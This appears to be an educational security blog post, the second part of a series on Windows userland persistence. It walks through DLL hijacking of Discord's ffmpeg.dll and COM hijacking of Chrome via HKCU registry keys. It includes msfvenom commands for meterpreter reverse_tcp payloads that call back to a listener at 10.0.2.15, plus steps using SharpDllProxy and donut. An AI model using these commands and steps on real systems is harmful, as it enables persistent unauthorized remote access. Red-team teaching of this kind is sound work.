PERSISTENCE: COMMON USERLAND TECHNIQUES (PART 2)

Haystack - Hack The Box Machine

This blog post was written by Dharmik Karania and Amarjit Labhuram

Introduction

In Persistence Part 1, we looked at a couple of Userland Persistence Techniques. In this blog, we continue with other techniques which include Dynamic Link Library (DLL) Hijacking through Discord.exe and Component Object Model (COM) Hijacking through Google Chrome.

 

DLL Hijacking

The first thing we need to do is to identify which dll is crucial for discord to run because that is the dll we will use to perform dll hijacking. In order to find out, we need to open the file location of discord and we see:

 

We see various dll files present. How do we identify which dll we are looking for so as to perform dll hijacking?.

I then change the extension of one of the dlls to find if discord runs when that dll is absent.

 

When I change the dll extension as shown above, and then run Discord, it still runs and therefore this is not the dll we can use to hijack. Continuing the same process for all the dlls, I find the correct dll which is ffmpeg.dll. This has been shown in the next two screenshots.

 

 

The first thing to do is a validation check as a proof of concept and we do this by trying to execute a messagebox when discord runs. We therefore create a Messagebox payload using MSFVENOM on a kali linux terminal as follows:

msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”Macrosec Tech Tuesday” -f raw > messageBox.bin

This payload is then transferred to the Windows Machine. As we noticed that for discord to run, ffmpeg.dll needs to be present and therefore we use a tool called SharpDllProxy to combine all the functions from this dll with the payload as follows.

 

SharpDllProxy produces a folder called output_ffmpeg with a C file and a .dll file which contains the functions needed for discord to run.

 

We need to compile this C file and therefore we open Visual Studio and paste the contents of ffmpeg_pragma.c into the Visual Studio dll project created.

 

Once the dll project has been created, paste the C file contents in the .cpp file after removing the default code present as shown.

 

The 9th line of the code needs to be removed otherwise an error will occur during compilation and it will not build. The line to remove has been shown below.

 

The code then looks as follows:

 

The next step is to compile and we need select the correct architecture (x64/x86), and then choose “release” then “Build” -> “Build Solution”.

 

This creates a .dll file and this is stored in the location highlighted above. We copy this DLL_Hijacking_Macrosec.dll file from this location and bring it to the file location of discord.exe.

Copy the DLL into the previous output folder created by SharpDLLProxy, add the targeted executable as well any x64 shellcode as a raw file named “messageBox.bin” to the file location of discord.exe as highlighted in the diagram below.

 

We then change the file extension of the original ffmpeg.dll to something else so that we can save a copy of the original ffmpeg.dll, just to ensure we can revert back if something goes wrong.

We change the name DLL_Hijacking_Macrosec.dll to ffmpeg.dll as shown.

 

Ensure Discord is not running by confirming that from the Task Manager and then we run discord. We get the message box as shown:

 

This is a validation check that ffmpeg.dll was the correct dll that we found for dll hijacking. We now need to get a reverse shell so we generate a payload using MSFVENOM. We type in the following command on Kali Linux terminal:

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe > dllshell.exe

We transfer the shell.exe to the Windows Machine. I then use donut.exe. Donut creates an independent position shellcode, it is the shellcode that is not allocated in any particular memory space therefore it can be placed in any form of loader and therefore get executed on behalf of the system through another application. In other words, it is wrapping the shellcode through a loader.

So we place the dllshell.exe file in the folder where donut.exe is and run it as follows:

 

This produces a loader.bin file. This file is then transferred to the file location of discord.exe.

 

We then delete the messageBox.bin present there and rename, payload.bin to messageBox.bin.

I then set up a listener on Kali Linux as follows:

 

I then run discord and I get a reverse shell.

 

COM Hijacking

We will be using Google Chrome as the target.

To identify the COM Keys of Chrome that we can use for COM Hijacking, we use the tool Process Monitor to identify all the processes running when Chrome runs, we also discover the COM servers that are missing CLSID’s and the ones which don’t require elevated privileges. We use the following filters:

  • Operation is RegOpenKey
  • Result is NAME NOT FOUND
  • Path ends with InprocServer32

 

Once you filter, a long list is displayed as shown.

 

We need to filter these keys so that we can find the keys which can be hijacked. However, to do this, we need to run scripts but since we are looking at userland persistence, we don’t have the privileges to run scripts and therefore, we use the manual/ longer way and we then make a list of all the CLSIDs as shown:

 

We then pick the first key and identify the subkeys in use. To do this, we need to navigate to Registry Editor and find the CLSID in the HKEY_CLASSES_ROOT

 

We identify that this CLSID uses InProcServer32 and also, the other information about the path of the dll and String Value which is ThreadingModel with the data Apartment. This information is crucial for COM Hijacking.

We then create a payload using MSFVENOM by typing the following command in the Kali terminal:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5555 -f dll > com_shell.dll

We transfer the com_shell.dll payload to the Windows machine and we create a path in HKEY_CURRENT_USER which will point to this malicious dll. We therefore create a class of the CLSID Key of Chrome in HKEY_CURRENT_USER (HKCU) because classes in the HKCU registry hive are executed prior to the classes in HKEY_LOCAL_MACHINE (HKLM).

 

Notice, we have pointed the path to the malicious dll that we generated using MSFVENOM

 

We then setup our listener and then run Chrome and we get a reverse shell as shown below.

 

 

References

https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/

https://attack.mitre.org/techniques/T1574/

https://attack.mitre.org/techniques/T1546/

https://www.youtube.com/watch?v=svFundrBIiQ

https://www.youtube.com/watch?v=8NPdW8wBO

https://pentestlab.blog/category/red-team/persistence

https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/

Disclaimer

The MacroSec blogs are solely for informational and educational purposes. Any actions and or activities related to the material contained within this website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and MacroSec will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.